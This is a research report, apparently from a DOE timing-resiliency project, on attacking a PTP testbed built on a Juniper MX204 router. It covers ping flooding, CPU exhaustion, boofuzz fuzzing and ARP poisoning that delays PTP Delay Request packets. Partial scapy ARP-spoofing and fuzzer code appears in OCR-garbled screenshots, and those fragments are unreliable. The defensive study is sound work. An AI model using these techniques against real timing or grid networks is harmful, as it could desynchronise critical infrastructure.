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1. ABSTRACT

Our task within the DarkNet project was to test the cyber resiliency of the Center for Alternate
Synchronization and Timing’s (CAST) framework. We focused our testing on two of the core
pieces of CAST’s implementation, a Juniper MX204 router and the Precision Time Protocol
(PTP). In this report, we cover the following attempted methods of attack on our targets: ping
flood, fork bomb, network protocol fuzzing, ARP poisoning, and IGMP spoofing. We found that
delaying certain packets, specifically Delay Request, had a significant impact on the Offset from
Master and Observed Drift timing statistics.

2. INTRODUCTION

The integration of advanced computer science techniques into power systems and the electric grid
has led to significant advancements in energy management, distribution, and security. As power
systems become increasingly digital, they also become targets for cyber threats. This report
delves into the challenges faced by modern power systems in the realm of timing systems,
especially PTP, and the methodologies employed to address these challenges.

According to the National Institute for Standards and Technology (NIST), cyber resiliency is the
ability to anticipate, withstand, recover from, and adapt to adverse conditions, stresses, attacks, or
compromises on systems that use or are enabled by cyber resources. Most importantly, if a
system or process is capable of continuously delivering the intended outcome during cyber-
attacks, then it can be described as cyber resilient.

As specified in the IEEE 1588-2008 standard, Precision Time Protocol is a protocol that operates
on a master/slave hierarchy which synchronizes clocks throughout a computer network. PTP is
designed to provide highly accurate and precise time synchronization, which is essential in
various applications where synchronized timing is critical, such as telecommunications, industrial
automation, and scientific research.

Despite the importance of precise timing in the power grid and industrial control system (ICS)
architecture, GPS/GNSS continues to be the sole source of timing which has been proven to be
susceptible to spoofing and jamming attacks as well as some natural disasters such as solar flares.
DarkNet/CAST is the DOE’s approach to implementing an alternate source of timing for the
electric grid and ICS applications [1]. This approach helps protect critical infrastructure from
being completely reliant on GPS timing and leaves room for timing failover, in the event that
GPS/GNSS timing is unavailable.

According to the CAST’s Best Practices document, “The explicit purpose of this alternative
terrestrial timing solution is to deliver a wide-area synchronization (WAS) capability with precise
traceability to Coordinated Universal Time (UTC) to U.S. Power Marketing Administrations
(PMAs), Defense Critical Electrical Infrastructure (DCEI), and industry for the support of critical
infrastructure and grid reliability, resilience, and security” [1].

The vision for CAST was to be an alternate source of time for other research sites as well as
distribute authoritative timing to entities that wanted to subscribe to the CAST timing clock. In
addition, CAST would work with the PMAs to establish regional timing nodes and
synchronization capabilities. As a result, CAST built relationships with other research sites and
utility facilities. Figure 1 is a visual representation of the role that CAST’s ORNL Timing
Testbed would play in distributing authoritative timing.
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The CAST testing covers timing resources across distances typically experienced in the targeted
industries. A map of the timing links can be seen in Figure 2.
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Figure 2: ORNL Timing and Synchronization Lab to Research Sites Map [1]

Today, the mission of CAST is to provide the necessary mentoring and technical assistance to build
these competencies in a local timing solution and assist federal partners with the evaluation,
installation, and operational expertise to implement timing solutions. As a part of that mission, the
CAST team established and documented a best practices report for terrestrial timing solutions for
research sites and supporting utilities. A suggested WAS is provided in Figure 3.
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3. TESTBED AND CONFIGURATIONS

3.1 INITIAL TESTBED ARCHITECTURE

While considering what low-cost plug-n-play computer to use in our PTP architecture, we
immediately thought of the BeagleBone Black (BBB) and Raspberry Pi. Both computers are
popular low-cost options when it comes to automation, loT solutions, and DIY projects. Due to
the system-on-a-chip design, the BBB makes for a great single-board computer designed for real-
time embedded applications like robotics, sensing, and control systems [2]. Another important
capability the BBB has is the hardware timestamping on Ethernet, which is crucial in our PTP
implementation. In addition, there were a few reviews on the “Hacker News” page about the
Raspberry Pi being unpredictable when it came to PTP and NTP service [12].

The initial testbed architecture consisted of a Juniper MX204 router that connected 2 BeagleBone
Black devices, an attacker laptop, and a data acquisition computer. The 2 BBBs communicated
via PTP with one acting as the master and the other as the slave. The PTP implementation used
was PTP daemon (PTPd), configured to be end-to-end to send all PTP packets as unicast rather
than the default multicast transport method. See Figure 4.
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Figure 4: Simple Network Architecture of Initial Testbed

In our initial research to determine what router/switch to implement in our PTP architecture, we
found that the Juniper MX204 had some vulnerabilities related to Distributed Denial of Service
(DDoS), resource consumption, and fuzzing, sometimes depending on the OS version. As a
result, we rolled back the Juniper switch’s OS version to release R1 version 19.2. The next step
was to configure and set static IPs on the Juniper router for our 4 connected devices. The
following ports on the MX204 were configured: xe-1/0/0, xe-1/0/2, xe-1/0/4, and xe-1/0/6. Each
of these ports were configured on subnet /24’ with different [P addresses and subnets. One
important configuration we added was to mirror all network traffic from the interfaces
highlighted in Table 1 to 192.168.3.150. This allowed the data collection device to view and
capture all traffic like PTP and attack packets. Note that each device connected to the Juniper sets
a gateway IP as the Juniper’s port IP for network traffic to be routed correctly between the
connected devices.

Device Name Device IP Interface on MX204 Port IP on MX204
Master Clock Device 192.168.1.x xe-1/0/0 192.168.1.105
Slave Clock Device 192.168.2.x xe-1/0/2 192.168.2.106
Attacker Device 192.168.4.x xe-1/0/4 192.168.4.140
Data Collection/Monitor Device 192.168.3.x xe-1/0/6 192.168.3.150

Table 1: IP Configuration on Initial Testbed




3.2 PTPD CONFIGURATION ON INITIAL TESTBED

Figure 5 is a screen capture of a PTP configuration on the BBB acting as a slave in the PTP
architecture. Most of these parameters in the configuration file will look identical to the
configuration of the PTP master device. The only big differences will be to switch out
“slaveonly” to “masteronly” and change the “unicast_destinations” IP address to the designated
IP address of the BBB master. Another important parameter is the selection of the network
interface that will be used on the PTP network. Next, we have the transport option which will
dictate whether the PTP signals will be transmitted through hardwired Ethernet or over the
Internet to another device. We selected Ethernet since each device was connected to the switch

through Ethernet. Since our master and slave have a one-to-one relationship, it made sense to use
the end-to-end delay mechanism.

GNU mano 3.2
ptpengine: =
ptpengine:
ptpengine:
ptpengine:

preset
interface
domain = ©

transport ethernet
ptpengine:ip_mode = unicast
ptpengine:unicast_domains
ptpengine:unicast_destinations

ptpengine:lug_delagreq_interual
iptpengine:unica

ptpengine:

slaveonly
etho

0

192.168.2.120

unicast
st_peer_destination

delay_mechanism EZE

19Z2.168.2.

global:

status_file = tm
global:

log_status ¥

p/ptp_status. log
global:
global:
global:
global:

log_file = #tmp/ptp. log

log_file_max_size = 1000000
log_file_truncate = et

log_level = LOG_aALL

glnbnl:statistics fil

global:statistics P
global: gt
global:

global:

= /tmp/pt
interval =
statisticsmfilehmastize =

statistics_file ma 3
i 25 ~max_file
stntlstics_file_trunCQtes—

p_stats.lo
0 L!]

1000000000
3

Y

Figure 5: Screenshot Capture of PTP Configuration

There were five crucial message types within our messaging architecture. In Figure 6, Announce
Message is not included because “In PTP-1588-v1... clock properties are advertised using Sync
message but in the second version, properties are advertised using dedicated Announce message.”
[3]. Sync and Announce messages contain critical information about the master clock and its
current state. For example, the Announce message allows the master to advertise its presence and

timing capabilities. Following that, we have the Sync message which the master clock sends to
the slave to initialize the synchronization process of aligning the slave clock’s time with the
master clock’s accurate time. The Follow-Up message is a safeguard against an undefined time
error that occurs during the transfer and processing of the Announce and Sync messages. Thus, it
provides timestamp information to the slave about its previous read of the master clock’s time.
More importantly, there is the Delay Request-Response communication that is crucial to the
network delay computation. Our configuration looks quite simple and straightforward; however,
it could get more complex depending on the type of network architecture and use case of your



experiment. As stated above, the logging feature included in the configuration file is a great perk
that captures all the relevant data one would need later for data analysis. For a more extensive
description of the different configuration parameters, check the man pages of PTP.

Master Clock Time Slave Clock Time

Sync message

Follow_Up message
containing value of t,

Delay_Req message

Delay_Resp message
containing value of ¢,

time

y \/

Figure 6: End to End Delay Request Response Mechanism

In this network architecture, we are using a very simple Linux PTPd2 configuration [4]. One of
the great perks of using PTPd is the breakdown of PTP information into three useful logs: ptp.log,
ptp_stats.log, and ptp_status.log. In the ptp.log file, you will find information such as the ptp
daemon service being active, PTP mode, history of restart attempts, and whether a best master has
been locked on. In the ptp_stats.log file, you will find statistics data such as one way delay, offset
from master, observed drift, etc. Lastly, you will find in the ptp_status.log file the host info, best
master ID, state transitions, clock status, clock correction, message rates, etc. Samples of PTP
Log, Status, and Statistics files are provided in Figures 7-9.
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Help
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.953842
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.172983
.281393
.282857
.272692
.281865
.955265
.955708

ptpd2[4268].startup (info)
ptpd2[4268].startup (info)
ptpd2[4268].startup (notice)
ptpd2[4268].startup (info)
ptpd2[4268].ethe (info)
ptpd2[4268].ethe (notice)
ptpd2[4268].ethe (info)
ptpd2[4268].ethe (notice)
ptpd2[4268].ethe (notice)
ptpd2[4268].ethe (notice)
ptpd2[4268].ethe (notice)
ptpd2[4268].ethe (info)

File Edit Format View Help
: beaglebone, PID 4268

Host info

Local time
Kernel time

)
)
)

(slv) Received first Sync from Master

Info:

Now running as a daemon

successfully acquired lock on /var/run/ptpd2.lock
PTPDV2 started successfully on ethe using “slaveonly" preset (PID 4268)

(___) TimingService.PTP@: PTP service init
(init) observed_drift loaded from kernel: 55525 ppb
(Istn_init) Now in state: PTP_LISTENING
(Istn_init) New best master selected: @@3@a7fffe2bases(unknown)/3
(slv) Mow in state: PTP_SLAVE, Best master: @@3ea7fffe2baseg(unknown)/3

(slv) Received first Delay Response from Master

(slv) TimingService.PTP@: elected best TimingService

(slv) TimingService.PTPo: acquired clock control

Figure 7: Screenshot of PTP Log File

: Fri Aug 18 18:47:59 UTC 2023
: Fri Aug 18 18:47:59 GMT 2023

Interface : ethe
Preset : slaveonly
Transport :  ethernet
Delay mechanism : E2E

Sync mode : TWO_STEP
PTP domain N

Port state i PTP_SLAVE

Local port ID :
Best master ID H

GM priority

Time properties :
UTC properties :

Message rates :

9.000123426 5, mean
in control

57.222 ppm, mean
1/s sync, 1/s delay, 1/s announce
current PTP®, best PTP@, pref PTPO
total 1, avail 1, oper 1, idle @, in ctrl 1

98fe7bfffe26dédd (unknown)/1

0030a7fffe2bas5e8(unknown)/3

: Priorityl 128, Priority2 128, clockClass 52

PTP timescale, tracbl: time N, fregq N, src: HAND_SET(@x6@)
UTC valid: N, UTC offset: 8

Offset from Master : -9.000021689 s, mean -0.000002549 s, dev
Mean Path Delay :
Clock status :
Clock correction :

57.142 ppm, dev

: Message RX 6/s, TX 3/s

TimingService :
TimingServices :
Performance

Announce received : 1092
Sync received : 1e91
Follow-up received : 1091
DelayReq sent T 1124
DelayResp received : 1119
State transitions : 3
PTP Engine resets : 1

File Edit Format View Help
# Timestamp, State,

2023-08-18
2023-08-18
2023-08-18
2023-08-18
2023-08-18
2023-08-18
2023-08-18
2023-08-18
2023-08-18
2023-08-18
2023-08-18
2023-08-18
2023-08-18
2023-08-18
2023-08-18
2023-08-18
2023-08-18
2023-08-18

18

129:47.
129:48.
129:48.
129:49,
129:50.
129:50.
129151,
129:52.

129:52

129:56

0.000124149 s, dev

©.043 ppm

Figure 8: Screenshot of PTP Status File

Clock ID, One Way Delay, Offset From Master,
init,
Istn_init, 1
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173388,
282374,
273431,
272749,
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$29:53.
129:53.
129:54.
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0030a7fffe2bases(unknown)/3,
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Q
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Q
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. , . , e. , @. )
.000000000, ©.000062998, ©.000000000, ©.000125997,
000000000, ©.000119927, ©.000000000, ©.000113859,
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Figure 9: Screenshot of PTP Statistics File
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4. ATTACK AND DISRUPTION METHODS

After brainstorming how to disrupt the PTP signal without directly attacking the BBBs, we
decided to try out the following attack types:

e Denial-of-service (DoS) via ping flood

e Resource consumption against the Juniper MX204 via fork bomb

e Fuzzing network traffic to identify vulnerabilities in the Juniper MX204

e ARP poisoning against the devices using PTP

4.1 PING FLOOD DENIAL-OF-SERVICE

Below, we have some snapshots of the experimental procedure and the setup to execute this type
of DoS. This network stress approach was inspired by the technical documentation by Huwyler of
the FlockLab experiment [5]. In our experiment, we have four main attack frequencies which are
baseline, low attack, medium attack, and a flood attack. In the context of Hping, attack frequency
is simply the interval or rate at which the attacker sends packets. Per the hping3 documentation,
the flood option sends packets as fast as the attacker laptop can output on the Ethernet port,
provided that the bandwidth of the Ethernet cable can handle those speeds. That is, if the Ethernet
port is rated as 1 Gbps and the Ethernet cable is rated as 1 Gbps or more then it would be possible
to have a high-speed transmission of 1 Gbps worth of data. However, the specification of the
attacker laptop shows that it may not be able to reach the 1 Gbps Ethernet port rating. In addition,
the attacker laptop is limited to the number of resources made available by the CPU.

In our experiment, we recorded approximately 344,164 packets per second. At medium attack,
hping3 sends packets every 100 microseconds. At low attack, hping3 sends packets every 50,000
microseconds. Lastly, at baseline, the attacker does not send any packets on our PTP network.
This experimental procedure occurs for a duration of 3.5 minutes. The breakdown of the
experimental procedure is highlighted in Figure 10.

Attack

Attack frequency Post attack Target
Intensity PTP_Traffic Type  (-usec) Attack port Pre-attack duration  Attack duration  duration Protocol
High Annonce Message Flood (fastest) BB Master gateway/MX204 port 30 seconds 90 seconds 90 seconds PTP
Medium Annonce Message 100 BB Master gateway/Mx204 port 30 seconds 90 seconds 90 seconds PTP
Low Annonce Message S0000 BB Master gateway/MX204 port 30 seconds 90 seconds 90 seconds PTP
High Annonce Message Flood (fastest) BB Slave gateway/MX204 port 30 seconds 90 seconds 90 seconds PTP
Medium Annonce Message 100 BB Slave gateway/MX204 port 30 seconds 90 seconds 50 seconds PP
Low Annonce Message 50000 BB Slave gateway/MX204 port 30 seconds 90 seconds S0 seconds PTP

No Aftack Annonce Message No Attack naster/Slave Baseline 3.5 mins PR

Figure 10: Experimental Procedure

The most important part of running this DoS experiment was the ability to record and collect data
in a more streamlined manner. To accomplish this, we wrote scripts to automate recording PTP
traffic on all devices in the testbed network. We used scripts on the log collector machine to
aggregate the PCAPs and PTP log files created by each device on the testbed network. Figure 11
shows the script that archives the various PTP log files and names them appropriately based on
the experiment. Figure 12 shows the script that handles capturing PCAP files containing the PTP
network traffic.



ldecho off

1:1if folder is empty, quit the program
if "¥1"=="" (echo ERROR specific attack required & GOTO END)
if %1%==BASELINE (
set Pcap Log=C:\Users\56a\Desktop\PTP BB Log files\Baseline LogCollector
set Slave="C:\Users\56a\Desktop\PTP_BB_Log_files\Baseline_LogSlave"
set Master="C:\Users\56a‘\Desktop\PTP_BB_Log_files\Baseline_LogMaster"
GOTO Processing)

if #1%==AttackMaster 5eeee (
set Pcap_Log=C:\Users\56a\Desktop\PTP_BB_Log_files\AttackMaster_5eeee_LogCollecto
set Slave="C:\Users\56a\Desktop\PTP_BB Log files\AttackMaster 56000 LogSlave"
set Master="C:\Users\56a\Desktop\PTP_BB_Log_files\AttackMaster_5eeee_LogMaster”
GOTO Processing)
if %#1%==AttackMaster_1@@ (
set Pcap_Log=C:\Users\56a\Desktop\PTP_BB_Log_files\AttackMaster_10@_ LogCollector
set Slave="C:\Users\56a\Desktop\PTP BB Log files\AttackMaster 1@@ LogSlave"
set Master="C:\Users\56a‘\Desktop\PTP_BB_Log_files\AttackMaster_180_ LogMaster"
GOTO Processing)
if %1%==nattackMaster_Flood (
set Pcap Log=C:\Users\56a\Desktop\PTP BB Log files\AttackMaster Flood LogCollecto
set Slave="C:\Users\56a\Desktop\PTP_BB_Log_files\AttackMaster_Flood_LogSlave"
set Master="C:\Users\56a‘\Desktop\PTP_BB_Log_files\AttackMaster_Flood_LogMaster”
GOTO Processing)
if %1%==nttackslave_5eeee (
set Pcap Log=C:\Users\56a\Desktop\PTP BB Log files\AttackSlave 50000 LogCollector
set slave="C:\Users\56a\Desktop\PTP_BB_Log_files\Attackslave_seeee_LogSlave"
set Master="C:\Users\56a\Desktop\PTP BB Log files\AttacksSlave 5ee0@ LogMaster”
GOTO Processing)
if %1%==AttacksSlave 10@ (
set Pcap_Log=C:\Users\56a\Desktop\PTP_BB_Log_files\AttackSlave_10@ LogCollector
set Slave="C:\Users\56a\Desktop\PTP_BB_Log_files\AttackSlave_1@@ LogSlave"
set Master="C:\Users\56a\Desktop\PTP BB Log files\AttacksSlave 10@ LogMaster”
GOTO Processing)
if %1%==AttacksSlave Flood (
set Pcap_Log=C:\Users\56a\Desktop\PTP_BB_Log_files\AttackSlave_Flood_LogCollector
set Slave="C:\Users\56a\Desktop\PTP_BB Log files\AttackSlave Flood LogSlave"
set Master="C:\Users\56a\Desktop\PTP_BB_Log_files\attackslave_Flood_LogMaster"
GOTO Processing)
echo Error Attack Specified does not exist
GOTO END

Figure 11: Master Shell Script for Recording and Flushing PTP Logs

:Processing

for /f "tokens=2 delims==" %%a in ('wmic 0S Get localdatetime /value') do set "dt=K%a"
set "YYYy=%dt:~0,4%" & set "MM=¥%dt:~4,2%" & set "DD=%dt:~6,2%"

set "HH=Xdt:~8,2%" & set "Min=Xdt:~1@,2%"

set "fullstamp=34YYYYXEEMMEXDDREHHELMINSG"

;itimeout /t 5 /nobreak > NUL

tshark -i "Ethernet 3" -a duration:220 -q -w "%Pcap_Log#%\Capture.pcapng"

timeout /t 1@ /nobreak > NUL

start /b /wait pscp -pwfile C:\Users\56a\Desktop\Pass.txt debian@192.168.2.107:ptp*.log* %Slave¥
start /b /wait pscp -pwfile C:\Users\56a\Desktop\Pass.txt debian@192.168.1.128:ptp*.log* %Master%

timeout /t 1@ /nobreak > NUL

start /b /wait pscp -pwfile C:\Users\56a\Desktop\Pass.txt debian@192.168.2.107:Slave.pcapng %Slave¥
start /b /wait pscp -pwfile C:\Users\56a\Desktop\Pass.txt debian@192.168.1.120:Master.pcapng %Master%
timeout /t 1@ /nobreak > NUL

for /r %Slave% %%a in (ptp*.log*) do ren "%%a" "%fullstamp¥¥¥%~na"

for /r %Master¥ %%a in (ptp*.log*) do ren "%%a" "%fullstamp®¥%Z~na"

ren "%SlaveX\Slave.pcapng" "%fullstampXSlave.pcapng"

ren "%Master¥\Master.pcapng" "%fullstamp¥Master.pcapng"

ren "%Pcap_Log%\Capture.pcapng” "%fullstamp¥%Capture.pcapng"”

:END

Figure 12: Shell Batch Script to Capture PTP Traffic and Update Format of PTP Log Files

Within the scripts shown in Figures 13 and 14, we are resetting the BBB environment and
capturing network traffic. These scripts are executed during both the baseline and attack phases.



"Deleting PCAP Files"

sudo ~homesdebian/x .pcapx

"Deleting Log Files"
stmpsptps

7homesdebian/ptps=

"Restarting PTP" '
sudo systemctl restart ptpd.service

sudo systemctl is-active ——quiet ptpd.service

“PTP service not rumning”
sleep 5

“PTP service is rumning"”
“print ‘“#)=& 0 28"« x 500"
*\nPress any key to start testwn’ -n 1 -s
“wnStarting Capture”
udo timeout 32500 tcpdump —i ethd -w “Master .pcapng”
“Done Capture Stopped”

/ ssdebian
1 stmp/ptp*. log= Zhomesc :
i "Log !‘li l::s moved from /tmp/ to home'

Figure 13: PTP Data Aggregation on Master BBB
GNU nang -

8t binbash

&cho “"Deleting PcaP Files" " . o
sudo “hone/debian/=. pcapw c g |
“tho “peleting Lo

g Files"
sudo rn “tnp ptp= # Delete exis
sudo n /hnmezdebianzptpu e

echo

sting so we il ne les fo 1} eri t
g so have 2w log files § T our experimen
Restart h\g PTP

Sudo systemctl restart

ptpd.service
while [[ S¢ i
- sudo systemctl Is—active —quiet ptpd.service) -eq 1 11
cho “PTP service not running"
sleep 5

done

read —p $°\nPress any key to start test\n’ -n 1 -s
echo -e "WnStarting Capture"

sudo timeout 32500 tcpdump —i eth® -uw "Slave.pcapng" #32500

cho

“Done Capture Stopped”
sudo "

stmp/ptp=.log= ~homesdebian
"Log files moved from ~tmp- to home"

Figure 14: PTP Data Aggregation on Slave BBB

Some network engineers may implement Multiprotocol Label Switching (MPLS) and Quality of
Service (QoS) in part as an extra layer of security against common DoS attacks. Unlike the many



different network protocols that route traffic based on destination and source address, MPLS
routes network traffic based on predefined labels. So, during the initial handshake and exchange
of packets, a label is appended to the packet letting the intermediary device know exactly where
to forward the packet to. In addition, these labeled packets can have priority markers under the
QoS feature.

There are many data/communication protocols implemented in the network architecture of
utilities and substations like DNP3 and IEC 61850. IEC 61850 is a framework composed of
multiple communication profiles, such as Manufacturing Message Specification (MMS), Generic
Object-Oriented Substation Events (GOOSE), Sampled Measured Values (SMV), and PTP.

Juniper offers a DDoS protection limit on the control plane for a variety of protocol groups
including PTP. This DDoS protection analyzes rate-limiting parameters such as traffic rate,
maximum burst size, traffic priority, and the amount of time passed after a network traffic
violation [6]. This security function identifies and drops malicious packets to avoid the router’s
system resources from getting exhausted.

4.2 FORK BOMB

Upon reviewing the impacts of the CPU stress test in the FlockLab documentation, we pursued
our own CPU resource stress test to verify these impacts in our unique PTP environment [5]. We
scripted a malicious fork bomb program to try to overwhelm the computing resources of the
Juniper MX204. There was an assumption of compromise for this attack type. The goal was to
test the security of the router and see if its CPU load balancer could keep the critical functions
from being affected. We would know it worked for our use case if the PTP messages that were
being routed by the Juniper MX204 were delayed in any way.

This type of resource exhaustion attack could have very similar effects as a memory leak /
resource depletion vulnerability. There are several such vulnerabilities that have been found in
this device so it is a realistic scenario that should have a known outcome. One recent example
from early 2023 that affected the MX204 was CVE-2023-22410, a memory leak vulnerability in
packet processing that allowed an attacker to send specific traffic to the router which would cause
memory to be allocated dynamically. The problem is that the memory can never be freed which
would lead to an out-of-memory condition that prevents all services from continuing to function,
forcing the administrator to manually restart the device in order to recover.



Figure 15: CPU Resource Consumption Script

The custom fork bomb script in Figure 15 was developed for this attack with just a few lines of
simple code that would use multiprocessing capabilities to consume system resources. This script
performs a computationally intensive task with each available core of the system CPUs.

We first captured the baseline process list and resource utilization using the top utility as seen in
Figure 16.

2B 192.168.1.100 - PuTTY

Figure 16: Juniper CPU Processes and Resource Distribution

After executing the fork bomb, we immediately saw encouraging results as the device showed
obvious signs of stress as shown in Figures 17-20. The attack’s CPU consumption seemed to
average 100% utilization of a single CPU, but this was often spread over multiple CPUs at a time
and the load was often switched between CPUs on the fly. Juniper devices come with a cpu-load-



threshold feature that prevent existing network connections from being affected by low CPU
availability.

Figure 17: Juniper CPU Processes and Resource Distribution

Figure 18: Juniper CPU Processes and Resource Distribution

Figure 19: Juniper CPU Processes and Resource Distribution



Figure 20: Juniper CPU Processes and Resource Distribution

However, despite taking up a significant amount of computing resources from the router, it was
not enough to delay the PTP packets in any detectable way.

This failure may be in part due to MPLS or load balancing features. PTP packets are likely
prioritized by the MX204 due to their importance for maintaining precise time synchronization.
So even if resources are limited, the PTP packets may not be affected.

Even though this attack was not a success, we would have run into additional problems in terms
of administrators easily detecting and stopping the attack. On the Juniper support website, there is
an article [6] that discusses diagnosing and resolving the cause of high utilization rates. This
article specifically calls out the “show system process extensive” command which would
instantly spot the malicious script hogging all the system resources and make it easy for the
administrator to remove the script from the system.

43 NETWORK PROTOCOL FUZZING

This was the most complex technique of our vulnerability research against the Juniper MX204.
When researching known vulnerabilities within the Juniper MX204 using NIST's National
Vulnerability Database, we found that there were several vulnerabilities related to the MX204
failing to properly process malformed packets that it received: nine at the time of this writing,
five of which are considered high severity. So, the idea behind this type of attack was to identify a
similar malformed packet processing vulnerability in the MX204 by sending it fuzzed network
traffic. The intended effect of this type of vulnerability could be a DoS of just a specific
noncritical component within the router or the entire functionality. This could be achieved by
instantly crashing a particular service with the unexpected input or by triggering a slow memory
leak that would eventually overtake the entire device. A few recent examples of high-severity
Common Vulnerabilities and Exposures (CVEs) from earlier in 2023 that can cause an instant
crash/DoS due to improper packet handling are CVE-2023-28985, CVE-2023-36832, and CVE-
2023-28976, among others.

Juniper, like most vendors, does not share proof-of-concept code or specific exploit details about
the CVEs that affect their devices. Because of this, we had to start from scratch and were unable
to easily recreate an existing exploit against the MX204 and instead chose to attempt to find zero-
days.



Using boofuzz, a Python library used for network protocol fuzzing that was forked from the
Sulley fuzzing framework, we scripted a couple implementations against common protocols like
Hypertext Transfer Protocol (HTTP) and Transmission Control Protocol (TCP). Our HTTP
implementation primarily used the built-in boofuzz default settings whereas the TCP
implementation was designed with flexibility in mind, so all the packet fields were custom

written.
i t Sesston, Target, TCPSocketConnection, UbPSocketlonnection, s_initlalize, s_get, Request, Block, Group, Delim, String, Static
2
3 def )
4 session = Session(
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18 M.
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Figure 21: Custom Network Protocol Fuzzer for HTTP using boofuzz
open ~ |l @ TcPbootuzz.py
1 from boofuzz import Session, Target, Request, Black, Group, Delim, String, Word, Static, Bytes, RawL3SocketConnection, Simple, Byte, BitField
2
3def main():
q session = Session(
5 target=Target(
6 connectionsRawl3socketConnection( 1)) 8 wWhat to fuzz
7 req = Request( Lchildrens=(
] Black( , childrens(
) Byte( , default_values=io, fuzzables ), # hex 45 = blnary 0160 0181 = dec 69
10 Byte( , default_value=o, fuzzable= ), ¥ Non-zero value can cause issues
11 Bytes( . default_value=b \x08\x33", size=2, fuzzables ). # If no content, this fleld will be dect
12 Bytes( , stzes?, default_valuesb"\xfd\x48", fuzzables ), ® It's a 2 byte field and any value
13 Bytes( , stze=?, default_value=b"\x48\x80", fuzzable= ,
14 Byte( , default_value=c4, max_num=255, fuzzables ), # TTL max value is 255
15 Byte( , default_valuesb’\x66", fuzzables ), # hex 6 is TcP
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26 Bytes( , slze=7, default_valuesb \x204x00 , fuzzables ,
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Figure 22: Custom Network Protocol Fuzzer for TCP using boofuzz

To test these fuzzing implementations and make sure they were creating valid packets that would
be able to be sent to the router, we spun up a simple HTTP server to send the fuzzed traffic to.

[+1 ryan@ryan-virtual-machine: ~/Desktop

$ python3 -m http.server

ieruing HTTP on ©.06.06.0 port 8006 (http://0.0.0.0:80008/)

Figure 23: Start Up a localhost HTTP Server on Port 8000



We first tested the TCP implementation. Wireshark was successfully recognizing the packets as
valid with no errors in how they were crafted. Also, the boofuzz web interface was successfully
counting the packets being sent and providing logs on each.

ryan@ryan-virtual-machine: ~/Desktop

$ sudo python3 TCPboofuzz.pyll

Figure 24: Run the Custom TCP Fuzzer Script

ryan@ryan-virtual-machine: ~/Desktop

: Sending 52 bytes...

: Sending 52 bytes...

sing target connection...
nnection closed.

: Sending 52 bytes...

: Closing target connection...

Figure 25: TCP Fuzzer at Work
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« C O O localhost
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Figure 26: TCP Fuzzer Results in the boofuzz Web Interface

Next, we tested the HTTP fuzzing implementation for validity and experienced the same
successful results within Wireshark and the boofuzz web interface.

2 971] fo: String
57,971] : ening target connection (127.6.08.1:86008)..
57,972] o: Connection opened.
57,972]

: Sending 2084 bytes...

Figure 27: HTTP Fuzzer at Work



“* boofuzz Fuzz Control = +
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Figure 28: HTTP fuzzer Results in the boofuzz Web Interface

Unfortunately, when later executing these fuzzing techniques against the actual target, we could
not detect any crashes or memory leaks. The failure to locate any memory leaks was not
unexpected because they would be nearly impossible to detect using this technique as we were
just sending one packet of each variation and a memory leak typically requires many of the same
malformed packets to make any noticeable difference in memory consumption. This fuzzing
technique was primarily focused on causing an immediate crash of a component.

4.4 ARP POISONING

Address Resolution Protocol (ARP) poisoning is when an attacker modifies the contents of a
device’s ARP cache via a spoofed ARP reply packet. This malicious modification changes the
MAC-to-IP mapping within the ARP cache which allows an attacker to redirect packets from the
victim’s intended target to instead be sent to the attacker’s computer. This is a type of man-in-the-
middle (MitM) attack that gives an attacker the ability to inspect, drop, delay, replay, and modify
the packets being sent over the network.

The goal of implementing this type of MitM was to capture the PTP “Delay Request” message in
transit and delay the message by some amount of time before forwarding the message to the
intended target. In our implementation of the ARP poisoning attack with the goal of affecting the
PTP signal, we chose to focus on causing an asynchronous delay in the PTP communications
which breaks a core concept of PTP: path symmetry. Also, by including random delays in our
packet forwarding, another core concept of PTP was disrupted which is consistent latency.

The slave clock accounts for network latency by testing round trip speed with communication
requested at time t; in Figure 6, assuming that the delay is uniform, and using that information as
a correction to the slave clock. The asynchronous feature of our attack is that we target traffic
from the slave clock, slowing communication destined for the master between ts; and t4, while
allowing all traffic directed from the master to the slave clock to proceed at normal speed. This



forces the slave clock to use bad information to calculate network latency and apply incorrect
clock adjustments.

We used the following methodology while designing the ARP poisoning experiment which
included 3 major phases, namely pre-attack, attack, and post-attack. The pre-attack is the initial 2-
hour phase where there is normal, baseline PTP communication between the master BBB clock
and slave BBB clock. In the attack phase, an ARP poisoning attack is launched on the PTP
network for 5 hours. In the post-attack phase, the attack is stopped and the PTP network is
allowed to go back to a steady state with normal PTP traffic for 2 hours.

There are many prebuilt ARP poisoning tools to choose from such as Ettercap, arpspoof, and
arpoison. However, after experiencing difficulties getting Ettercap to work with our network
architecture that included devices on different subnets, we built our own custom ARP poisoning
tool to fit our needs. After analyzing the structure of an ARP reply, we were able to construct a
valid gratuitous reply packet to poison the ARP cache of the slave BBB. Thus, when the attacker
floods the victim BBB with the malicious ARP replies, the attacker is spoofing its IP address as
192.168.2.107 to cause the attacker to start receiving PTP packets from the master BBB. Later in
this section, we will discuss how we spoofed the destination IP address when forwarding the PTP
packets on to the slave BBB. To put it simply, the Python script in Figures 29 and 30 allows the
attacker to be a MitM between the master BBB and the slave BBB.

rt scapy.all as scapy

target_ip = *
target_mac
interface = "

if _name == " main_ ":

Destination_Addr
Source_Addr

Ethernet_Layer = Destination_Address + Source Address + Type

Hardware_Type =
protocol_Type
Hardware_Size
Protocol
Opcode = b"

Sender_MAC

Sender IP = b"

Target MAC

Target_IP = b"\x x¢

Figure 29: ARP Poisoning Script




Sender_MAC = b"\x84\x69\x93\xc6\xag8\x95"

Sender_IP = b™\xc@\xa8\x@2\x6a"

Target_MAC = b"\x98\xf@\x7b\x26\xd6\xdd"

Target IP = b™\xc@\xag8\x@2\x6a"

ARP_Layer = Hardware_Type + Protocol Type + Hardware Size + Protocol Size + Opcode + Sender MAC + Sender IP + Target MAC + Target IP
packet = scapy.Raw(Ethernet_Layer + ARP_Layer)

while(1):

scapy.sendp(packet, iface=interface, verbose=Fa
sleep(®@.1)

Figure 30: ARP Poisoning Script Continued

BeagleBone black
Master Clock)

Attacker laptop

L.} IP: 192.168.1.120

IP: 192.168.4.169

Data acquisition

laptop

IP: 192.168.4.140

IP: 192.168.2.106
IP: 192.168.3.152

IF: 192.168.2

BeagleBone black
(Slave Clock)

Figure 31: Updated PTP Testbed

We updated the architecture (Figure 31) to better represent a real-world situation and allow for
more devices to be integrated into the testbed. We added a NETGEAR switch that the attacker
laptop and slave BBB connect to. The master BBB is still directly connected to our primary
MX204.



14 1.004763 192.168.1.120 192.168.2.107 PTPv2 96 8173 Delay_Resp Message

15 1.7160859 192.168.2.107 192.168.1.120 PTPv2 86 8174 Delay_Req Message
